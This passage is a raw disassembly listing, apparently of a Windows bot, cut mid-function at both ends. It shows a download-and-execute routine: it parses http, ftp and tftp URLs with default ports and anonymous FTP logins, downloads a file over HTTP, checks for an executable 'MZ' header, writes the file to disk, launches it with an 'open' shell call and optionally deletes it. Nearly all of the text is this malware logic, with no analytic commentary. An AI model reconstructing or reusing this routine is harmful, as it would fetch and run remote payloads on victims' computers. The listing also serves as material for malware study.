		push	offset asc_4183EC ; "\r\n\r\n"
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_40278D
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40278D:				; CODE XREF: sub_402698+E0j
		mov	eax, [ebp+var_410]
		add	eax, 4
		mov	[ebp+var_410], eax
		push	offset aContentLength ;	"Content-Length: "
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_40C], eax
		cmp	[ebp+var_40C], 0
		jz	short loc_4027CC
		mov	eax, [ebp+var_40C]
		cmp	eax, [ebp+var_410]
		jbe	short loc_4027DF


loc_4027CC:				; CODE XREF: sub_402698+124j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4027DF:				; CODE XREF: sub_402698+132j
		and	[ebp+var_41C], 0
		lea	eax, [ebp+var_41C]
		push	eax
		push	offset aContentLengthU ; "Content-Length: %u\r\n"
		push	[ebp+var_40C]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 1
		jnz	short loc_402818
		cmp	[ebp+var_41C], 0
		jnz	short loc_40282B


loc_402818:				; CODE XREF: sub_402698+175j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40282B:				; CODE XREF: sub_402698+17Ej
		cmp	[ebp+arg_1C], 0
		jz	short loc_40285D
		cmp	[ebp+var_41C], 2
		jb	short loc_40284A
		mov	eax, [ebp+var_410]
		movzx	eax, word ptr [eax]
		cmp	eax, 5A4Dh
		jz	short loc_40285D


loc_40284A:				; CODE XREF: sub_402698+1A0j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40285D:				; CODE XREF: sub_402698+197j
					; sub_402698+1B0j
		cmp	[ebp+arg_18], 0
		jz	short loc_40286E
		mov	eax, [ebp+arg_18]
		mov	ecx, [ebp+var_41C]
		mov	[eax], ecx


loc_40286E:				; CODE XREF: sub_402698+1C9j
		push	[ebp+arg_14]
		call	sub_4167B9
		pop	ecx
		test	eax, eax
		jz	short loc_40288E
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40288E:				; CODE XREF: sub_402698+1E1j
		push	offset dword_4182AC
		push	[ebp+arg_14]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 0
		jnz	short loc_4028BF
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4028BF:				; CODE XREF: sub_402698+212j
		push	[ebp+var_418]
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		push	ecx
		push	1
		push	[ebp+var_410]
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		mov	eax, [ebp+var_41C]
		sub	eax, ecx
		mov	[ebp+var_41C], eax


loc_402910:				; CODE XREF: sub_402698:loc_402A1Dj
		cmp	[ebp+arg_20], 0
		jz	short loc_40293F
		mov	eax, [ebp+arg_20]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40293F
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40293F:				; CODE XREF: sub_402698+27Cj
					; sub_402698+285j
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402976
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_40299E


loc_402976:				; CODE XREF: sub_402698+2D3j
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	[ebp+arg_14]
		call	dword_4170AC	; DeleteFileA
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40299E:				; CODE XREF: sub_402698+2DCj
		mov	eax, [ebp+var_420]
		cmp	eax, [ebp+var_41C]
		jbe	short loc_4029C8
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------


loc_4029C8:				; CODE XREF: sub_402698+312j
		push	[ebp+var_418]
		push	[ebp+var_420]
		push	1
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_41C]
		sub	eax, [ebp+var_420]
		mov	[ebp+var_41C], eax
		cmp	[ebp+var_41C], 0
		jnz	short loc_402A1D
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------


loc_402A1D:				; CODE XREF: sub_402698+366j
		jmp	loc_402910
; ---------------------------------------------------------------------------

locret_402A22:				; CODE XREF: sub_402698+2Fj
					; sub_402698+BBj ...
		leave
		retn
sub_402698	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A24	proc near		; CODE XREF: sub_402A32+625p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A2B	proc near		; CODE XREF: sub_402A32+673p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A32	proc near		; DATA XREF: sub_403260+BCo

var_814		= qword	ptr -814h
var_804		= qword	ptr -804h
var_7FC		= dword	ptr -7FCh
var_7F8		= qword	ptr -7F8h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_6D5		= byte ptr -6D5h
var_6D4		= byte ptr -6D4h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= byte ptr -6BCh
var_6BB		= byte ptr -6BBh
var_63C		= dword	ptr -63Ch
var_638		= byte ptr -638h
var_637		= byte ptr -637h
var_632		= byte ptr -632h
var_631		= byte ptr -631h
var_534		= byte ptr -534h
var_430		= byte ptr -430h
var_2A8		= byte ptr -2A8h
var_2A7		= byte ptr -2A7h
var_2A6		= byte ptr -2A6h
var_2A3		= byte ptr -2A3h
var_296		= byte ptr -296h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= byte ptr -284h
var_283		= byte ptr -283h
var_204		= byte ptr -204h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 804h
		push	edi
		push	3AFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	[ebp+var_288], 0
		mov	[ebp+var_28C], 1
		and	[ebp+var_6CC], 0
		mov	al, byte_41DE30
		mov	[ebp+var_284], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_283]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE30
		mov	[ebp+var_6BC], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_6BB]
		rep stosd
		stosw
		stosb
		and	[ebp+var_6C8], 0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_4185CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	7
		push	offset dword_4185C4
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_402B93
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_631]
		push	eax
		call	dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_402B8E
		call	dword_417064	; RtlGetLastWin32Error
		cmp	eax, 20h
		jnz	short loc_402B58
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41858C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_402B7B
; ---------------------------------------------------------------------------


loc_402B58:				; CODE XREF: sub_402A32+FFj
		lea	eax, [ebp+var_631]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41855C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_402B7B:				; CODE XREF: sub_402A32+124j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402B8E:				; CODE XREF: sub_402A32+F4j
		jmp	loc_403256
; ---------------------------------------------------------------------------


loc_402B93:				; CODE XREF: sub_402A32+D6j
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402BB5
; ---------------------------------------------------------------------------


loc_402BA8:				; CODE XREF: sub_402A32:loc_402CD8j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax


loc_402BB5:				; CODE XREF: sub_402A32+174j
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402CDD
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 3Ah
		jnz	loc_402CD8
		mov	[ebp+var_7E0], 1
		jmp	short loc_402BF2
; ---------------------------------------------------------------------------


loc_402BE5:				; CODE XREF: sub_402A32:loc_402CD3j
		mov	eax, [ebp+var_7E0]
		inc	eax
		mov	[ebp+var_7E0], eax


loc_402BF2:				; CODE XREF: sub_402A32+1B1j
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		test	eax, eax
		jz	short loc_402C23
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 2Fh
		jnz	short loc_402C7A


loc_402C23:				; CODE XREF: sub_402A32+1D6j
		mov	eax, [ebp+var_7E0]
		and	[ebp+eax+var_6D5], 0
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jz	short loc_402C75
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		add	eax, [ebp+var_7E0]
		push	eax
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6C8], 1


loc_402C75:				; CODE XREF: sub_402A32+20Ej
		jmp	loc_403251
; ---------------------------------------------------------------------------


loc_402C7A:				; CODE XREF: sub_402A32+1EFj
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 30h
		jl	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 39h
		jg	short loc_402CCE
		mov	eax, [ebp+var_6C0]
		add	eax, [ebp+var_7E0]
		mov	ecx, [ebp+var_7E0]
		mov	al, [ebp+eax+var_638]
		mov	[ebp+ecx+var_6D5], al
		jmp	short loc_402CD3
; ---------------------------------------------------------------------------


loc_402CCE:				; CODE XREF: sub_402A32+25Fj
					; sub_402A32+278j
		jmp	loc_40324C
; ---------------------------------------------------------------------------


loc_402CD3:				; CODE XREF: sub_402A32+29Aj
		jmp	loc_402BE5
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_402A32+1A1j
		jmp	loc_402BA8
; ---------------------------------------------------------------------------


loc_402CDD:				; CODE XREF: sub_402A32+18Aj
					; sub_402A32:loc_40324Cj ...
		push	7
		push	offset aHttp	; "http://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402D37
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D13
		push	offset a80	; "80"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_402D13:				; CODE XREF: sub_402A32+2CCj
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 1
		jmp	loc_402E3D
; ---------------------------------------------------------------------------


loc_402D37:				; CODE XREF: sub_402A32+2C3j
		push	6
		push	offset aFtp	; "ftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402DB7
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402D6D
		push	offset a21	; "21"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_402D6D:				; CODE XREF: sub_402A32+326j
		lea	eax, [ebp+var_632]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 2
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	loc_402E3D
; ---------------------------------------------------------------------------


loc_402DB7:				; CODE XREF: sub_402A32+31Dj
		push	7
		push	offset aTftp	; "tftp://"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402E0E
		cmp	[ebp+var_6C8], 0
		jnz	short loc_402DED
		push	offset a69	; "69"
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_402DED:				; CODE XREF: sub_402A32+3A6j
		lea	eax, [ebp+var_631]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	[ebp+var_6CC], 3
		jmp	short loc_402E3D
; ---------------------------------------------------------------------------


loc_402E0E:				; CODE XREF: sub_402A32+39Dj
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_418500
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402E3D:				; CODE XREF: sub_402A32+300j
					; sub_402A32+380j ...
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_6C0], eax
		jmp	short loc_402E5F
; ---------------------------------------------------------------------------


loc_402E52:				; CODE XREF: sub_402A32:loc_402F11j
		mov	eax, [ebp+var_6C0]
		dec	eax
		mov	[ebp+var_6C0], eax


loc_402E5F:				; CODE XREF: sub_402A32+41Ej
		cmp	[ebp+var_6C0], 0FFFFFFFFh
		jz	loc_402F16
		mov	eax, [ebp+var_6C0]
		movsx	eax, [ebp+eax+var_638]
		cmp	eax, 40h
		jnz	loc_402F11
		mov	eax, [ebp+var_6C0]
		and	[ebp+eax+var_638], 0
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_7E4], eax
		cmp	[ebp+var_7E4], 0
		jz	short loc_402ED8
		mov	eax, [ebp+var_7E4]
		and	byte ptr [eax],	0
		push	80h
		mov	eax, [ebp+var_7E4]
		inc	eax
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_402ED8:				; CODE XREF: sub_402A32+47Fj
		push	80h
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_6C0]
		lea	eax, [ebp+eax+var_637]
		push	eax
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402F16
; ---------------------------------------------------------------------------


loc_402F11:				; CODE XREF: sub_402A32+44Bj
		jmp	loc_402E52
; ---------------------------------------------------------------------------


loc_402F16:				; CODE XREF: sub_402A32+434j
					; sub_402A32+4DDj
		push	offset asc_4184F8 ; "/"
		lea	eax, [ebp+var_638]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_288], eax
		cmp	[ebp+var_288], 0
		jnz	short loc_402F67
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset unk_4184CC
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402F67:				; CODE XREF: sub_402A32+504j
		mov	eax, [ebp+var_288]
		inc	eax
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_288]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_638]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp-6D8h], eax
		and	[ebp+var_6C4], 0
		cmp	[ebp+var_6CC], 1
		jnz	short loc_403009
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402698
		add	esp, 24h
		mov	[ebp+var_28C], eax


loc_403009:				; CODE XREF: sub_402A32+582j
		cmp	[ebp+var_6CC], 2
		jnz	short loc_403065
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_6BC]
		push	eax
		lea	eax, [ebp+var_284]
		push	eax
		call	sub_402A24
		add	esp, 24h
		mov	[ebp+var_28C], eax


loc_403065:				; CODE XREF: sub_402A32+5DEj
		cmp	[ebp+var_6CC], 3
		jnz	short loc_4030B3
		push	[ebp+var_63C]
		movsx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_6C4]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_402A2B
		add	esp, 1Ch
		mov	[ebp+var_28C], eax


loc_4030B3:				; CODE XREF: sub_402A32+63Aj
					; sub_402A32:loc_403256j
		cmp	[ebp+var_28C], 1
		jnz	loc_403219
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4030D7
		mov	[ebp+var_7EC], offset dword_4184C0
		jmp	short loc_403104
; ---------------------------------------------------------------------------


loc_4030D7:				; CODE XREF: sub_402A32+697j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jz	short loc_4030EE
		mov	[ebp+var_7F0], offset dword_4184B4
		jmp	short loc_4030F8
; ---------------------------------------------------------------------------


loc_4030EE:				; CODE XREF: sub_402A32+6AEj
		mov	[ebp+var_7F0], offset byte_41DE30


loc_4030F8:				; CODE XREF: sub_402A32+6BAj
		mov	eax, [ebp+var_7F0]
		mov	[ebp+var_7EC], eax


loc_403104:				; CODE XREF: sub_402A32+6A3j
		push	[ebp+var_7EC]
		mov	eax, [ebp+var_6C4]
		shr	eax, 0Ah
		mov	dword ptr [ebp+var_7F8], eax
		and	dword ptr [ebp+var_7F8+4], 0
		fild	[ebp+var_7F8]
		fstp	[ebp+var_7FC]
		call	sub_416B64	; clock
		sub	eax, [ebp-6D8h]
		mov	dword ptr [ebp+var_804], eax
		and	dword ptr [ebp+var_804+4], 0
		fild	[ebp+var_804]
		fdiv	flt_417270
		fdivr	[ebp+var_7FC]
		push	ecx
		push	ecx
		fstp	[esp+814h+var_814]
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_41846C
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_2A7]
		test	eax, eax
		jz	short loc_403198
		lea	eax, [ebp+var_534]
		push	eax
		call	dword_4170AC	; DeleteFileA
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_403198:				; CODE XREF: sub_402A32+755j
		movsx	eax, [ebp+var_2A6]
		test	eax, eax
		jnz	short loc_4031AE
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_403217


loc_4031AE:				; CODE XREF: sub_402A32+76Fj
		movsx	eax, [ebp+var_2A3]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_534]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		mov	[ebp+var_7E8], eax
		cmp	[ebp+var_7E8], 20h
		jbe	short loc_4031F4
		movsx	eax, [ebp+var_296]
		test	eax, eax
		jz	short loc_4031F2
		call	sub_407148


loc_4031F2:				; CODE XREF: sub_402A32+7B9j
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_4031F4:				; CODE XREF: sub_402A32+7AEj
		lea	eax, [ebp+var_534]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418444
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_403217:				; CODE XREF: sub_402A32+764j
					; sub_402A32+77Aj ...
		jmp	short loc_40323C
; ---------------------------------------------------------------------------


loc_403219:				; CODE XREF: sub_402A32+688j
		lea	eax, [ebp+var_7DC]
		push	eax
		mov	eax, [ebp+var_63C]
		push	dword ptr [eax]
		push	offset dword_418414
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40323C:				; CODE XREF: sub_402A32:loc_403217j
		push	[ebp+var_63C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_40325B
; ---------------------------------------------------------------------------


loc_40324C:				; CODE XREF: sub_402A32:loc_402CCEj
		jmp	loc_402CDD
; ---------------------------------------------------------------------------


loc_403251:				; CODE XREF: sub_402A32:loc_402C75j
		jmp	loc_402CDD
; ---------------------------------------------------------------------------


loc_403256:				; CODE XREF: sub_402A32:loc_402B8Ej
		jmp	loc_4030B3
; ---------------------------------------------------------------------------


loc_40325B:				; CODE XREF: sub_402A32+157j
					; sub_402A32+406j ...
		pop	edi
		leave
		retn	4
sub_402A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403260	proc near		; CODE XREF: sub_40A9CF+959p

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_4], 0
		jnz	short loc_403271
		jmp	locret_403329
; ---------------------------------------------------------------------------


loc_403271:				; CODE XREF: sub_403260+Aj
		push	3AFh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_40328A
		jmp	locret_403329
; ---------------------------------------------------------------------------


loc_40328A:				; CODE XREF: sub_403260+23j
		push	8
		push	7Ah
		push	61h
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_410501
		add	esp, 14h
		and	[ebp+eax+var_10], 0
		push	offset dword_418620
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_4032BF
		lea	eax, [ebp+var_10]
		mov	[ebp+arg_8], eax


loc_4032BF:				; CODE XREF: sub_403260+57j
		push	104h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_14]
		add	eax, 20Ch
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		push	offset dword_4185FC
		push	0
		push	[ebp+var_14]
		push	offset sub_402A32
		call	sub_4095A4
		add	esp, 18h

locret_403329:				; CODE XREF: sub_403260+Cj
					; sub_403260+25j
		leave
		retn
sub_403260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40332B	proc near		; CODE XREF: sub_4093B6+A0p
					; sub_4094E6+9Bp ...

var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	1
		push	offset dword_41DE3C
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	dword_41DE38, 0
		jz	loc_4034D9
		mov	[ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER"
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_110], eax
		cmp	[ebp+var_110], 0C0000025h
		ja	short loc_4033A4
		cmp	[ebp+var_110], 0C0000025h
		jz	short loc_4033FA
		cmp	[ebp+var_110], 80000003h
		jz	short loc_4033DF
		cmp	[ebp+var_110], 0C0000005h
		jz	short loc_4033D6
		cmp	[ebp+var_110], 0C000001Dh
		jz	short loc_4033E8
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033A4:				; CODE XREF: sub_40332B+45j
		cmp	[ebp+var_110], 0C000008Dh
		jb	short loc_403413
		cmp	[ebp+var_110], 0C0000093h
		jbe	short loc_40340C
		cmp	[ebp+var_110], 0C0000094h
		jz	short loc_4033F1
		cmp	[ebp+var_110], 0C00000FDh
		jz	short loc_403403
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033D6:				; CODE XREF: sub_40332B+69j
		mov	[ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033DF:				; CODE XREF: sub_40332B+5Dj
		mov	[ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033E8:				; CODE XREF: sub_40332B+75j
		mov	[ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033F1:				; CODE XREF: sub_40332B+9Bj
		mov	[ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033FA:				; CODE XREF: sub_40332B+51j
